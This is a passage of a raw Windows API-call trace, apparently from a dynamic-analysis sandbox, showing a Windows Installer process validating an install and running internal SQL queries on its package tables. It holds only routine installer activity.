_Dst=0x3b5008e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5008e) returned 0x3b5008e [0124.941] memcpy (in: _Dst=0x3b5009e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x3b5009e) returned 0x3b5009e [0124.941] memcpy (in: _Dst=0x3b500a2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x3b500a2) returned 0x3b500a2 [0124.941] SetLastError (dwErrCode=0x0) [0124.941] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.941] memcpy (in: _Dst=0x3b500a2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500a2) returned 0x3b500a2 [0124.941] memcpy (in: _Dst=0x3b500a8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x3b500a8) returned 0x3b500a8 [0124.941] memcpy (in: _Dst=0x3b500ac, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x3b500ac) returned 0x3b500ac [0124.941] SetLastError (dwErrCode=0x0) [0124.942] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.942] memcpy (in: _Dst=0x3b500ac, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500ac) returned 0x3b500ac [0124.942] GetCurrentThreadId () returned 0xf50 [0124.942] GetCurrentThreadId () returned 0xf50 [0124.942] SetEvent (hEvent=0x170) returned 1 [0124.942] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.944] lstrlenW (lpString="MigrateFeatureStates") returned 20 [0124.944] SetLastError (dwErrCode=0xd) [0124.944] SetLastError (dwErrCode=0xd) [0124.944] lstrlenW (lpString="Time") returned 4 [0124.945] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x187)) [0124.945] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.945] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x187)) [0124.945] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.945] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x187)) [0124.945] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.945] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.945] memcpy (in: _Dst=0x3b5009a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5009a) returned 0x3b5009a [0124.945] memcpy (in: _Dst=0x3b500aa, _Src=0x376446, _Size=0x4 | out: _Dst=0x3b500aa) returned 0x3b500aa [0124.945] memcpy (in: _Dst=0x3b500ae, _Src=0x37644c, _Size=0x2 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.945] SetLastError (dwErrCode=0x0) [0124.945] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.945] memcpy (in: _Dst=0x3b500ae, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.945] memcpy (in: _Dst=0x3b500b4, _Src=0x376450, _Size=0x2 | out: _Dst=0x3b500b4) returned 0x3b500b4 [0124.945] GetCurrentThreadId () returned 0xf50 [0124.945] GetCurrentThreadId () returned 0xf50 [0124.945] SetEvent (hEvent=0x170) returned 1 [0124.945] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.949] lstrlenW (lpString="MigrateFeatureStates") returned 20 [0124.949] SetLastError (dwErrCode=0xd) [0124.949] SetLastError (dwErrCode=0xd) [0124.949] lstrlenW (lpString="Time") returned 4 [0124.949] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x197)) [0124.949] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.949] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x197)) [0124.949] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.949] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x197)) [0124.949] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.949] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.949] memcpy (in: _Dst=0x3b5009a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5009a) returned 0x3b5009a [0124.949] memcpy (in: _Dst=0x3b500aa, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x3b500aa) returned 0x3b500aa [0124.949] memcpy (in: _Dst=0x3b500ae, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.949] SetLastError (dwErrCode=0x0) [0124.949] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.949] memcpy (in: _Dst=0x3b500ae, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.950] memcpy (in: _Dst=0x3b500b4, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x3b500b4) returned 0x3b500b4 [0124.950] memcpy (in: _Dst=0x3b500d2, _Src=0x34b110, _Size=0x2 | out: _Dst=0x3b500d2) returned 0x3b500d2 [0124.950] SetLastError (dwErrCode=0x0) [0124.950] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.950] memcpy (in: _Dst=0x3b500d2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500d2) returned 0x3b500d2 [0124.950] memcpy (in: _Dst=0x3b500d8, _Src=0x34b114, _Size=0x2 | out: _Dst=0x3b500d8) returned 0x3b500d8 [0124.950] GetCurrentThreadId () returned 0xf50 [0124.950] GetCurrentThreadId () returned 0xf50 [0124.950] SetEvent (hEvent=0x170) returned 1 [0124.950] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.952] lstrlenW (lpString="ActionText") returned 10 [0124.953] lstrcmpW (lpString1="Advertise", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="AppSearch", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="BindImage", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="CCPSearch", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="CostFinalize", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="CostInitialize", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="CreateFolders", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="CreateShortcuts", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="DeleteServices", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="DuplicateFiles", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="FileCost", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="FindRelatedProducts", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="GenerateScript", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="InstallAdminPackage", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="InstallFiles", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="InstallODBC", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="InstallServices", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="InstallValidate") returned -1 [0124.953] lstrcmpW (lpString1="InstallValidate", lpString2="InstallValidate") returned 0 [0124.953] lstrlenW (lpString="ProductLanguage") returned 15 [0124.953] SetLastError (dwErrCode=0x0) [0124.953] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0124.954] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x7544, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Validating install\r\n") returned 0x14 [0124.957] lstrlenW (lpString="Validating install") returned 18 [0124.957] FreeLibrary (hLibModule=0xc10002) returned 1 [0124.958] lstrlenW (lpString="InstallValidate") returned 15 [0124.958] lstrlenW (lpString="{{") returned 2 [0124.958] lstrlenW (lpString=": }}") returned 4 [0124.958] SetLastError (dwErrCode=0xd) [0124.958] lstrlenW (lpString="Time") returned 4 [0124.959] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x197)) [0124.959] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.959] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x197)) [0124.959] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.959] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x197)) [0124.959] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.959] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.959] memcpy (in: _Dst=0x3b5008e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5008e) returned 0x3b5008e [0124.959] memcpy (in: _Dst=0x3b5009e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x3b5009e) returned 0x3b5009e [0124.959] memcpy (in: _Dst=0x3b500a2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x3b500a2) returned 0x3b500a2 [0124.959] SetLastError (dwErrCode=0x0) [0124.959] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.959] memcpy (in: _Dst=0x3b500a2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500a2) returned 0x3b500a2 [0124.959] memcpy (in: _Dst=0x3b500a8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x3b500a8) returned 0x3b500a8 [0124.959] memcpy (in: _Dst=0x3b500ac, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x3b500ac) returned 0x3b500ac [0124.959] SetLastError (dwErrCode=0x0) [0124.959] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.959] memcpy (in: _Dst=0x3b500ac, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500ac) returned 0x3b500ac [0124.959] GetCurrentThreadId () returned 0xf50 [0124.959] GetCurrentThreadId () returned 0xf50 [0124.959] SetEvent (hEvent=0x170) returned 1 [0124.959] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.962] lstrlenW (lpString="InstallValidate") returned 15 [0124.962] SetLastError (dwErrCode=0xd) [0124.962] SetLastError (dwErrCode=0xd) [0124.962] lstrlenW (lpString="Time") returned 4 [0124.962] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x197)) [0124.962] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.962] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x197)) [0124.962] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.962] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x197)) [0124.962] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.962] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.962] memcpy (in: _Dst=0x3b5009a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5009a) returned 0x3b5009a [0124.962] memcpy (in: _Dst=0x3b500aa, _Src=0x376446, _Size=0x4 | out: _Dst=0x3b500aa) returned 0x3b500aa [0124.962] memcpy (in: _Dst=0x3b500ae, _Src=0x37644c, _Size=0x2 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.962] SetLastError (dwErrCode=0x0) [0124.962] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.962] memcpy (in: _Dst=0x3b500ae, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.962] memcpy (in: _Dst=0x3b500b4, _Src=0x376450, _Size=0x2 | out: _Dst=0x3b500b4) returned 0x3b500b4 [0124.963] GetCurrentThreadId () returned 0xf50 [0124.963] GetCurrentThreadId () returned 0xf50 [0124.963] SetEvent (hEvent=0x170) returned 1 [0124.963] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.966] GetTickCount () returned 0x1877e5a [0124.966] lstrlenW (lpString="MsiRestartManagerSessionKey") returned 27 [0124.967] memcpy (in: _Dst=0x36ee30, _Src=0x36ee3c, _Size=0x36c | out: _Dst=0x36ee30) returned 0x36ee30 [0124.967] lstrlenW (lpString="Dialog") returned 6 [0124.967] GetTickCount () returned 0x1877e5a [0124.967] lstrlenW (lpString="File") returned 4 [0124.967] GetTickCount () returned 0x1877e5a [0124.967] lstrlenW (lpString="Registry") returned 8 [0124.967] GetTickCount () returned 0x1877e5a [0124.967] lstrlenW (lpString="BindImage") returned 9 [0124.967] GetTickCount () returned 0x1877e5a [0124.967] lstrlenW (lpString="ProgId") returned 6 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="PublishComponent") returned 16 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="Feature") returned 7 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="SelfReg") returned 7 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="Component") returned 9 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="Extension") returned 9 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="Font") returned 4 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="Shortcut") returned 8 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="Class") returned 5 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="Component") returned 9 [0124.968] GetTickCount () returned 0x1877e5a [0124.968] lstrlenW (lpString="Icon") returned 4 [0124.968] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䆒䑲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cd9e0, ppstm=0x0 | out: ppstm=0x0) returned 0x80030002 [0124.968] lstrlenW (lpString="Icon") returned 4 [0124.968] GetTickCount () returned 0x1877e5a [0124.969] lstrlenW (lpString="TypeLib") returned 7 [0124.969] GetCurrentThreadId () returned 0xf50 [0124.969] GetCurrentThreadId () returned 0xf50 [0124.969] SetEvent (hEvent=0x170) returned 1 [0124.969] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.039] lstrlenW (lpString="CostingComplete") returned 15 [0125.039] _vsnwprintf (in: _Buffer=0x10cdb38, _BufferCount=0xb, _Format="%i", _ArgList=0x10cdb28 | out: _Buffer="0") returned 1 [0125.039] lstrlenW (lpString="0") returned 1 [0125.039] lstrlenW (lpString="OutOfDiskSpace") returned 14 [0125.039] _vsnwprintf (in: _Buffer=0x10cdb68, _BufferCount=0xb, _Format="%i", _ArgList=0x10cdb58 | out: _Buffer="0") returned 1 [0125.039] lstrlenW (lpString="0") returned 1 [0125.039] lstrlenW (lpString="OutOfNoRbDiskSpace") returned 18 [0125.039] _vsnwprintf (in: _Buffer=0x10cdb68, _BufferCount=0xb, _Format="%i", _ArgList=0x10cdb58 | out: _Buffer="0") returned 1 [0125.040] lstrlenW (lpString="0") returned 1 [0125.040] GlobalLock (hMem=0xf40178) returned 0x210ccd0 [0125.040] lstrlenW (lpString=" SELECT `MsiAssembly`.`Attributes`, `MsiAssembly`.`File_Application`, `MsiAssembly`.`File_Manifest`, `Component`.`KeyPath` FROM `MsiAssembly`, `Component` WHERE `MsiAssembly`.`Component_` = `Component`.`Component` AND `MsiAssembly`.`Component_` = ?") returned 250 [0125.040] lstrlenW (lpString=" SELECT `MsiAssembly`.`Attributes`, `MsiAssembly`.`File_Application`, `MsiAssembly`.`File_Manifest`, `Component`.`KeyPath` FROM `MsiAssembly`, `Component` WHERE `MsiAssembly`.`Component_` = `Component`.`Component` AND `MsiAssembly`.`Component_` = ?") returned 250 [0125.040] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.040] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.040] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.040] lstrlenW (lpString="MsiAssembly") returned 11 [0125.040] lstrlenW (lpString=" SELECT `MsiAssembly`.`Attributes`, `MsiAssembly`.`File_Application`, `MsiAssembly`.`File_Manifest`, `Component`.`KeyPath` FROM `MsiAssembly`, `Component` WHERE `MsiAssembly`.`Component_` = `Component`.`Component` AND `MsiAssembly`.`Component_` = ?") returned 250 [0125.040] lstrlenW (lpString="MsiAssembly") returned 11 [0125.040] GlobalUnlock (hMem=0xf40178) returned 0 [0125.040] GlobalLock (hMem=0xf40178) returned 0x210ccd0 [0125.040] lstrlenW (lpString="SELECT `FileName`,`Version`,`State`,`File`.`Attributes`,`TempAttributes`,`File`,`FileSize`,`Language`,`Sequence`,`Directory_`,`Installed`,`Action`,`Component` FROM `File`,`Component` WHERE `Component`=`Component_` AND `Component_`=? AND `Directory_`=?") returned 251 [0125.040] lstrlenW (lpString="SELECT `FileName`,`Version`,`State`,`File`.`Attributes`,`TempAttributes`,`File`,`FileSize`,`Language`,`Sequence`,`Directory_`,`Installed`,`Action`,`Component` FROM `File`,`Component` WHERE `Component`=`Component_` AND `Component_`=? AND `Directory_`=?") returned 251 [0125.040] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.040] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.040] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.041] lstrlenW (lpString="File") returned 4 [0125.041] lstrlenW (lpString="Component") returned 9 [0125.041] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0125.041] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0125.041] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0125.041] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0125.041] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0125.042] memcpy (in: _Dst=0x210ccd8, _Src=0x210ccd0, _Size=0x8 | out: _Dst=0x210ccd8) returned 0x210ccd8 [0125.042] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0125.042] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0125.042] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0125.042] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0125.042] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0125.042] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0125.042] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0125.042] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0125.043] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0125.043] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0125.043] lstrlenW (lpString="Component") returned 9 [0125.043] lstrlenW (lpString="=") returned 1 [0125.043] lstrlenW (lpString="Component_") returned 10 [0125.043] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0125.043] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0125.043] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0125.043] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0125.043] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0125.043] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0125.043] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0125.043] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0125.043] lstrlenW (lpString="Component_") returned 10 [0125.043] lstrlenW (lpString="=") returned 1 [0125.043] lstrlenW (lpString="?") returned 1 [0125.043] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0125.043] lstrlenW (lpString="Directory_") returned 10 [0125.043] lstrlenW (lpString="=") returned 1 [0125.043] lstrlenW (lpString="?") returned 1 [0125.043] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.044] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.044] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.044] lstrlenW (lpString="FileName") returned 8 [0125.044] lstrlenW (lpString="Version") returned 7 [0125.044] lstrlenW (lpString="State") returned 5 [0125.044] lstrlenW (lpString="File") returned 4 [0125.044] lstrlenW (lpString="Attributes") returned 10 [0125.044] lstrlenW (lpString="TempAttributes") returned 14 [0125.044] lstrlenW (lpString="File") returned 4 [0125.044] lstrlenW (lpString="FileSize") returned 8 [0125.044] lstrlenW (lpString="Language") returned 8 [0125.044] lstrlenW (lpString="Sequence") returned 8 [0125.044] lstrlenW (lpString="Directory_") returned 10 [0125.044] lstrlenW (lpString="Installed") returned 9 [0125.044] lstrlenW (lpString="Action") returned 6 [0125.044] lstrlenW (lpString="Component") returned 9 [0125.044] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.044] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.044] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.045] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.045] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.045] GlobalLock (hMem=0xf40188) returned 0x36f790 [0125.045] GetCurrentThreadId () returned 0xf50 [0125.045] GetCurrentThreadId () returned 0xf50 [0125.045] SetEvent (hEvent=0x170) returned 1 [0125.046] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.093] GlobalUnlock (hMem=0xf40188) returned 0 [0125.093] GlobalLock (hMem=0xf40188) returned 0x36f790 [0125.093] GlobalLock (hMem=0xf40198) returned 0x3cef10 [0125.093] lstrlenW (lpString="SELECT `_Columns`.`Name` FROM `_Columns` WHERE `Table` = 'TypeLib' AND `_Columns`.`Name` = 'Cost'") returned 97 [0125.093] lstrlenW (lpString="SELECT `_Columns`.`Name` FROM `_Columns` WHERE `Table` = 'TypeLib' AND `_Columns`.`Name` = 'Cost'") returned 97 [0125.093] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.093] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.093] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.093] lstrlenW (lpString="_Columns") returned 8 [0125.093] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0125.093] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0125.093] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0125.093] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0125.093] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0125.093] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0125.094] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0125.094] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0125.094] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0125.094] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0125.094] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0125.094] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0125.094] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0125.094] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0125.094] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0125.094] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 